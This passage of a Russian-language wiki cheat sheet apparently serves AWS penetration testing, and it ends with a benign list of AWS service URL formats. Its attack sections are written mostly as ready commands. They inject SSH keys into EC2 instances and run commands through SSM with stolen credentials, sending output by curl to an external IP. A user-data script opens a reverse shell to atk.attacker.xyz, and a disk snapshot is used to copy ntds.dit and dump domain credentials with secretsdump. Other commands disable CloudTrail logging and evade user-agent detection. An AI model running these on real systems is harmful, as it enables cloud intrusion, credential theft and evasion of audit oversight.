aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
